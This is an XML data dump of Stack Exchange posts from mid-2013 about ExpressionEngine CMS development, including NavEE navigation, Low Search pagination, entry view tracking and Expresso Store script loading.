  <row Id="11836" PostTypeId="1" CreationDate="2013-07-10T20:31:23.923" Score="0" ViewCount="142" Body="&lt;p&gt;I have the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;nav class=&quot;nav nav--secondary&quot;&amp;gt;&#xA;{exp:navee:custom &#xA;    nav_title=&quot;primary&quot;&#xA;    parent_selected_class=&quot;is-current&quot;&#xA;    selected_class=&quot;is-current&quot;&#xA;    selected_class_on_parents=&quot;true&quot;&#xA;    start_nav_from_parent=&quot;true&quot;&#xA;    start_nav_from_parent_depth=&quot;2&quot;&#xA;    display_all_children_of_selected=&quot;true&quot;&#xA;    include_single_parent=&quot;true&quot;&#xA;    wrap_type=&quot;ol&quot;&#xA;}&#xA;&#xA;    &amp;lt;li class=&quot;nav__item&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{link}&quot; class=&quot;nav__link {class}&quot;&amp;gt;&#xA;            {text}&#xA;            &amp;lt;i class=&quot;icn icn--arrow-right&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        {if has_kids}&amp;lt;div class=&quot;nav nav--tertiary&quot;&amp;gt;{kids}&amp;lt;/div&amp;gt;{/if}&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;{/exp:navee:custom}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.5.5&lt;br&gt;&#xA;NavEE v2.2.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outcome I am aiming for is: display selected nav item and kids of selected nav item. Everything is working great unless the selected nav item has no kids. When that happens, nothing appears. When the selected nav item has kids, the selected nav will show along with the kids. I have this exactly how I want it to behave except I can't get the selected nav to show up when it does not have kids. I would appreciate any input on this matter. Also happy to clarify if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the two pages:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.f35.com.epi.qa/global/participation/australia&quot; rel=&quot;nofollow&quot;&gt;Displaying nav items properly (it has kids)&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.f35.com.epi.qa/global/participation/denmark&quot; rel=&quot;nofollow&quot;&gt;Not displaying nav at all (it has no kids)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="50" LastEditorUserId="50" LastEditDate="2013-07-10T20:47:02.770" LastActivityDate="2013-10-09T17:55:36.917" Title="NavEE include_single_parent will not work when no kids exist" Tags="|navee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11837" PostTypeId="2" ParentId="11835" CreationDate="2013-07-10T20:34:06.077" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#date-heading&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#date-heading&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;completely missed this before, but should make this more than possible.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In response to the above comment, a better formatted view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;blog&quot;}&#xA;{date_heading display=&quot;monthly&quot;}&#xA;  &amp;lt;li&amp;gt;{entry_date format=&quot;%F&quot;}&#xA;    &amp;lt;ul&amp;gt;&#xA;{/date_heading}&#xA;      &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{date_heading display=&quot;monthly&quot;}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;{/date_heading}&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1114" LastEditorUserId="343" LastEditDate="2014-05-16T20:35:49.977" LastActivityDate="2014-05-16T20:35:49.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11839" PostTypeId="1" CreationDate="2013-07-10T20:52:44.450" Score="1" ViewCount="55" Body="&lt;p&gt;Trying to do an install of the Discussion Forum on EE 2.5.5 and got this error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined function ee() in /(Path Here)/expressionengine/modules/forum/upd.forum.php on line 151&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? - Forum will not install.&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2013-10-09T11:55:36.923" Title="Installing Forum 3.1.12 on EE 2.5.5 - ERROR" Tags="|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11840" PostTypeId="1" AcceptedAnswerId="11862" CreationDate="2013-07-10T21:50:26.090" Score="1" ViewCount="90" Body="&lt;p&gt;I'm doing a large redesign on an OLD EE1 site. It was built in a way that doesn't make sense to try converting. It is also going to a subdomain flow. Originally I was going to just keep all of the subdomain segments as separate sites since it is operating under the DEV -&gt; QA -&gt; PROD server flow and will be released live in waves. However, I don't want to rely on a third party search engine to crawl the site and return data. I also have needs for the native search in EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way of expanding a site to include new subdomains as they are developed while keeping them from being visible during development? I know I could keep the subdomain/msm site turned off while everything is being worked on and then turn it on when it is ready to go live, but this doesn't allow for the requested flow mentioned above with DEV -&gt; QA -&gt; PROD. To my knowledge there isn't any way to properly import a new site into an msm build. (Anyone?) If so, I could keep them separate and then import it when ready. This would at least allow me to fulfill the flow request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone else have any nuggets of hope they could provide from doing anything similar?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-07-11T15:49:30.437" Title="Expanding sites with MSM" Tags="|ee2|multi-site-manager|subdomain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11841" PostTypeId="1" CreationDate="2013-07-10T22:23:55.530" Score="1" ViewCount="17" Body="&lt;p&gt;A client wants to prevent an editor from renaming or deleting an asset/file/entry that is linked from anywhere on the site.  I cannot find an add-on that does this.  They are requesting a list that shows links to the item they want to rename/delete with an options of actions to take.&lt;/p&gt;&#xA;" OwnerUserId="1759" LastActivityDate="2013-07-10T22:23:55.530" Title="Is there a way or add-0n to show an image or file is linked from an entry if a user tries to delete it?" Tags="|assets|files|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11842" PostTypeId="1" AcceptedAnswerId="11860" CreationDate="2013-07-10T22:55:49.663" Score="1" ViewCount="144" Body="&lt;p&gt;I'm building a member/ecommerce site with CartThrob and Zoo Visitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a multi-page checkout.&lt;br&gt;&#xA;From looking around for solutions on how to do this, people have said to use the Zoo Visitor update profile tags on the shipping/billing pages, and use hidden ZV fields inside the Cartthrob checkout tag on the payment page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine except for a few cases:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you want guests to checkout, this approach won't work.&lt;/li&gt;&#xA;&lt;li&gt;Calculating tax and/or shipping won't work until submitting the final checkout form.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've solved the first issue by conditionally showing a CT save_member_info form if they are logged out and a ZV profile form if they are logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can probably save the address to session by posting to CT's save_member_info using AJAX when submitting a ZV form, but that feels clunky. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cartthrob usually calculates tax/shipping by the member data in the session. It doesn't get saved to session when using ZV forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to map the ZV fields to the CT session data when saving the ZV profile form? I'm sure you need to use an extension but that's beyond me. Does anything like this already exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-01-20T16:23:51.813" Title="Zoo Visitor and Cartthrob" Tags="|cartthrob|extension|zoo-visitor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11843" PostTypeId="2" ParentId="11833" CreationDate="2013-07-10T23:19:37.570" Score="1" Body="&lt;p&gt;Is the database on the same server as the files? if so, many hosting providers allow you to just use &quot;localhost&quot; for the host name value in a connection. Have you tried that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it work if you change it back to the IP?&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2013-07-10T23:19:37.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11844" PostTypeId="1" AcceptedAnswerId="11852" CreationDate="2013-07-11T00:50:30.233" Score="1" ViewCount="259" Body="&lt;p&gt;I am trying to display a member channel entries using the tag {member_id} in the author_id parameter.&#xA;Unfortunately the parse order is messing it up, I have tried using the parse=&quot;inward&quot; parameter, it made no difference, i have also tried using Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine if i use a {segment} in the URL, but i don't want to do this. I am using an embed and placing the {member_id} as an embed variable to pass to the channel call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to show an users entries without having their member ID in the URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-07-11T09:18:05.643" Title="Showing a member channel entries" Tags="|channel-entries|entries|solspace-user|users|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11845" PostTypeId="1" CreationDate="2013-07-11T04:13:00.977" Score="0" ViewCount="242" Body="&lt;p&gt;I have these simple code using low search&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    {if segment_2}query=&quot;{segment_2}&quot;{/if}&#xA;    limit=&quot;4&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This normally works for the search except when I want to show everything. To do that, I simply need to eliminate the query param&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    limit=&quot;4&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, here is the problem. What if I paginate through the results? In my case then I would have a pagination link of something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.foo.com/search/P4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I use the code above&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2}query=&quot;{segment_2}&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then it will mistakenly believe that &lt;code&gt;P4&lt;/code&gt; is a query string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should these be handled?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-11T04:13:00.977" Title="Low Search - Showing all items and Pagination" Tags="|low-search|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11846" PostTypeId="1" AcceptedAnswerId="11849" CreationDate="2013-07-11T05:38:00.023" Score="0" ViewCount="63" Body="&lt;p&gt;I want to keep track of the number of times my single entry page is viewed. However, it seems that I have to disable page caching in order to do this. How much of a performance penalty will that be? Are there alternatives to counting the number of page views? I want to be able to display the page views, sort by page views, etc.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-07-11T08:58:57.150" Title="Views at the cost of caching - worth it?" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11847" PostTypeId="1" CreationDate="2013-07-11T07:27:37.373" Score="1" ViewCount="438" Body="&lt;p&gt;Sometimes the top submenus are not showing . Same time when we check the browser console we can see '503 Service unavailable' .&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;secure_access.php?S=0c587174500c93563f4efd82b4275a3984fb1c87&amp;amp;amp;D=cp&amp;amp;amp;C=javascript&amp;amp;amp;M=combo_load&amp;amp;amp;ui=core,widget,mouse,position,sortable,dialog&amp;amp;amp;plugin=ee_focus,ee_interact.event,ee_notice,ee_txtarea,tablesorter,ee_toggle_all,ee_navigation&amp;amp;amp;file=cp/global_start&amp;amp;amp;effect=core&amp;amp;amp;v=1359470773&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;secure_access.php?S=0c587174500c93563f4efd82b4275a3984fb1c87&amp;amp;amp;D=cp&amp;amp;amp;C=javascript&amp;amp;amp;M=combo_load&amp;amp;amp;file=cp/global_end&amp;amp;amp;v=1359470108&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&amp;gt;&#xA;&#xA;GET secure_access.php?S=0c587174500c93563f4efd82b4275a398…,ee_toggle_all,ee_navigation&amp;amp;file=cp/global_start&amp;amp;effect=core&amp;amp;v=1359470773 503 (Service Unavailable)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This submenu issue is not happening always. At the same time, one admin user sees the issue, but another admin user don't have this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise whats the issue and how to be sorted. I'm using ExpressionEngine 2.6.1.&lt;/p&gt;&#xA;" OwnerUserId="1281" LastEditorUserId="1281" LastEditDate="2013-08-02T05:44:19.630" LastActivityDate="2013-10-04T07:51:34.703" Title="Control panel submenus not expanding and 503 service unavailable error" Tags="|control-panel|javascript|jquery|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11848" PostTypeId="1" AcceptedAnswerId="11853" CreationDate="2013-07-11T08:46:52.900" Score="4" ViewCount="404" Body="&lt;p&gt;Working on a product page using Expresso Store and I'm encountering an intermittent javascript  error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Uncaught TypeError: undefined is not a function - store.js:142&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like a dependency problem (store.js depends on jQuery). The store.js is being added to the page asynchronously in the footer of the &lt;code&gt;{exp:store:product}&lt;/code&gt; tag whereas jQuery is added to the page at the bottom of the page, just before the &lt;code&gt;&amp;lt;/body&gt;&lt;/code&gt;. Depending on network performance and what is cached in the browser, occasionally the store.js loads before jQuery has loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont want to move jQuery to the page header, so is there a way to specify where Expresso injects its JS (eg: a special JS template tag) or is there a way to force the store.js script tag to be synchronous and hence enforce the script loading order?&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2013-11-14T21:37:45.823" Title="Is there a way to specify where store.js is added to the page?" Tags="|expresso-store|javascript|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11849" PostTypeId="2" ParentId="11846" CreationDate="2013-07-11T08:49:24.473" Score="2" Body="&lt;p&gt;On an average site I would say that although there will be a performance impact it is highly unlikely to create any issues, or even be noticed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you scale up to bigger sites these things can be an issue but I think you need to be pulling a lot of traffic for that to become serious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this is just my opinion and completely anecdotal. Faster is better but I do firmly believe that many folk worry about this unnecessarily. Often quite fast is fast enough.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-07-11T08:49:24.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11850" PostTypeId="2" ParentId="11846" CreationDate="2013-07-11T08:58:57.150" Score="0" Body="&lt;p&gt;Are you using ExpressionEngine to track page view? The way I generally desable all tracking in EE and rely on external services to provide me with the analytics I need. That way, I can be totally independent from caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me EE is not the right tool for that. Any dedicated analytics service will be better at it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Analytics is such a service at an entry level. While sufficient for most users, you might want to supplement it with other systems on bigger projects.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-07-11T08:58:57.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11851" PostTypeId="2" ParentId="11826" CreationDate="2013-07-11T09:17:41.667" Score="6" Body="&lt;p&gt;So yeah. Parse order. I take it you've seen &lt;a href=&quot;http://gotolow.com/parse-order&quot;&gt;this pdf&lt;/a&gt;. If not, take a look, study it well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need is for the opening tag to be in order &lt;strong&gt;before you hit stage 5&lt;/strong&gt;: the parsing of module/plugin tags. In order to do that, you can only use &lt;strong&gt;simple conditionals&lt;/strong&gt; in combination with early parsed global variables and preload replace variables. Native early parsed vars are limited, so go and get the super useful (and free) &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot;&gt;Mo' Variables&lt;/a&gt; to get more useful early parsed stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed, you can use &lt;code&gt;{if paginated}{/if}&lt;/code&gt; as a simple conditional. Just beware you don't use any &lt;code&gt;AND&lt;/code&gt; or &lt;code&gt;OR&lt;/code&gt; operators, nor use &lt;code&gt;{if:else}&lt;/code&gt; in your conditionals, because that will turn it into an advanced one, and will be parsed too late for your use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, this: &lt;code&gt;{if {segment_2} == ''}&lt;/code&gt; is an advanced conditional. The simple syntax is &lt;code&gt;{if segment_2 == ''}&lt;/code&gt;. Using tags in conditionals, like you do with the &lt;code&gt;{exp:segment_search}&lt;/code&gt; tag, means the conditional is advanced, too. So, avoid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my take, using preload replace vars and &lt;strong&gt;simple conditionals only&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Don't set the query param if there is no query --}&#xA;{if segment_2 == ''}&#xA;    {preload_replace:pre_query=''}&#xA;{/if}&#xA;&#xA;{!-- Don't set the query param for non-query paginated pages --}&#xA;{if segment_3 == ''}&#xA;    {if paginated}&#xA;        {preload_replace:pre_query=''}&#xA;    {/if}&#xA;{/if}&#xA;&#xA;{!-- Determine group ID based on segment 1 --}&#xA;{if segment_1 == 'foo'}&#xA;    {preload_replace:pre_group_id=&quot;6&quot;}&#xA;{/if}&#xA;&#xA;{if segment_1 == 'bar'}&#xA;    {preload_replace:pre_group_id=&quot;7&quot;}&#xA;{/if}&#xA;&#xA;{!-- Default Preload Replace vars --}&#xA;{preload_replace:pre_query='query=&quot;{segment_2}&quot;'}&#xA;{preload_replace:pre_group_id=&quot;6|7&quot;}&#xA;&#xA;{!-- Here comes the Results tag --}&#xA;{exp:low_search:results {pre_query} group_id=&quot;{pre_group_id}&quot; limit=&quot;4&quot;}&#xA;  ...&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, note that I don't use any conditionals in the tag itself. Everything is done using simple conditionals and preload replace vars. Keeps things nice and clean. And I haven't even mentioned &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot;&gt;Switchee&lt;/a&gt; yet...&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-07-11T09:17:41.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11852" PostTypeId="2" ParentId="11844" CreationDate="2013-07-11T09:18:05.643" Score="2" Body="&lt;p&gt;Did you try by passing the parameter &lt;code&gt;author_id=&quot;CURRENT_USER&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-11T09:18:05.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11853" PostTypeId="2" ParentId="11848" CreationDate="2013-07-11T10:24:06.950" Score="5" Body="&lt;p&gt;UPDATE: Store 2 includes the fix mentioned below.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It will be an option in the next version. In the meantime, you can fix it by opening &lt;code&gt;mod.store.php&lt;/code&gt;, going down to about line 235, and changing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(document.getElementsByTagName(&quot;head&quot;)[0] || document.getElementsByTagName(&quot;body&quot;)[0]).appendChild(script);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;document.getElementsByTagName(&quot;body&quot;)[0].appendChild(script);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should make sure the &lt;code&gt;store.js&lt;/code&gt; script is added to the bottom of the page, after jQuery and other scripts.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-11-14T21:37:45.823" LastActivityDate="2013-11-14T21:37:45.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11854" PostTypeId="2" ParentId="11839" CreationDate="2013-07-11T10:25:56.570" Score="1" Body="&lt;p&gt;You need to upgrade to EE 2.6+ first. The &lt;code&gt;ee()&lt;/code&gt; function was added in 2.6 so that version of the forum must not be compatible with EE 2.5.5.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-07-11T10:25:56.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11855" PostTypeId="1" AcceptedAnswerId="11914" CreationDate="2013-07-11T12:58:14.093" Score="1" ViewCount="899" Body="&lt;p&gt;On the page that I display the details of a single Channel entry, I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;blogs&quot;&#xA;    disable=&quot;categories|category_fields|pagination&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    track_views=&quot;one&quot;&#xA;    url_title=&quot;{segment_3}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The URL where this page is displayed looks like this: &lt;code&gt;www.domain.com/blogs/post/hello-world&lt;/code&gt;. Because I am not using the second segment to contain the entry id or URL title (I reserve that for the pagination and Low Search hash), I have to set &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; and &lt;code&gt;url_title=&quot;{segment_3}&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EE documentation says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Single entry pages are ones that show only a single entry, specified&#xA;  dynamically by the ID number or URL Title in the URL, such as comment&#xA;  or permalink pages.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have gone to &quot;Tracking Preferences&quot; and all tracking options are enabled. I have also set &quot;Enable Caching?&quot; to &quot;No&quot; for the template file containing my loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does my setup mean I can't track views? Currently, I do not think it is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my page that lists all the blog entries, I create links using &lt;code&gt;{url_title_path='blog/post'}&lt;/code&gt;. On my single entry page, I thought I had to set &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt;, but it doesn't seem that I need to. The following works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;blogs&quot;&#xA;    disable=&quot;categories|category_fields|pagination&quot;&#xA;    track_views=&quot;one&quot;&#xA;    url_title=&quot;{segment_3}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have I met all the requirements to enable entry tracking? It's still not working for me, though. I am able to make comments work -- doesn't that have similar requirements as entry tracking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my entire template file (which is being embedded in another template):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;\r|\n|\t&quot; replace=&quot;&quot; regex=&quot;yes&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;blogs&quot;&#xA;        disable=&quot;categories|category_fields|pagination&quot;&#xA;        track_views=&quot;one&quot;&#xA;        url_title=&quot;{segment_3}&quot;&#xA;    }&#xA;        &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;img src=&quot;http://placehold.it/640x260/&quot; width=&quot;640&quot; height=&quot;260&quot; alt=&quot;&quot;/&amp;gt;&#xA;        &amp;lt;ul class=&quot;inline post-details&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;span class=&quot;icon-user&quot;&amp;gt;&amp;lt;/span&amp;gt;By &amp;lt;a href=&quot;/profile/#/&quot;&amp;gt;{author}&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;span class=&quot;icon-time&quot;&amp;gt;&amp;lt;/span&amp;gt;{exp:nice_time date=&quot;{entry_date}&quot; format=&quot;{format.date.international}&quot;}&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;span class=&quot;icon-comment&quot;&amp;gt;&amp;lt;/span&amp;gt;{comment_total} Comments&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;span class=&quot;icon-eye-open&quot;&amp;gt;&amp;lt;/span&amp;gt;{view_count_one} Views&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        {blog}&#xA;    {/exp:channel:entries}&#xA;    {embed=&quot;common/.comments&quot;}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-07-14T21:29:21.843" LastActivityDate="2013-07-21T05:54:29.267" Title="Can't Get Views Count (entry tracking)" Tags="|channel-entries|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11856" PostTypeId="1" AcceptedAnswerId="11857" CreationDate="2013-07-11T13:15:12.947" Score="0" ViewCount="28" Body="&lt;p&gt;I just started using Low-Variables as a Snippet replacement (among other uses of course) because I need Snippets to be saved as files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am wondering if a new Low-Variable always has to be entered through the CP or not. It looks like it to me but I was hoping to have some standard variables for different projects that I could just throw in and be ready to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marc&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="172" LastEditDate="2013-07-11T13:25:26.043" LastActivityDate="2013-07-11T13:26:56.847" Title="Low Variables: must new variable be entered in CP?" Tags="|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11857" PostTypeId="2" ParentId="11856" CreationDate="2013-07-11T13:26:56.847" Score="1" Body="&lt;p&gt;Yes, a new LV must be created through the CP. A new file will not create a new variable. Why? Check out these replies:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://getsatisfaction.com/low/topics/dealing_with_low_variable_files_in_a_git_workflow#reply_11414674&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/low/topics/dealing_with_low_variable_files_in_a_git_workflow#reply_11414674&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://getsatisfaction.com/low/topics/files_are_not_synched_back_to_ee#reply_10217404&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/low/topics/files_are_not_synched_back_to_ee#reply_10217404&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-07-11T13:26:56.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11858" PostTypeId="2" ParentId="11136" CreationDate="2013-07-11T13:37:37.043" Score="0" Body="&lt;p&gt;This is a known bug in the latest version of Wygwam that will be fixed in the next release.  Sending you the patched files in the support ticket in the meantime.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2013-07-11T13:37:37.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
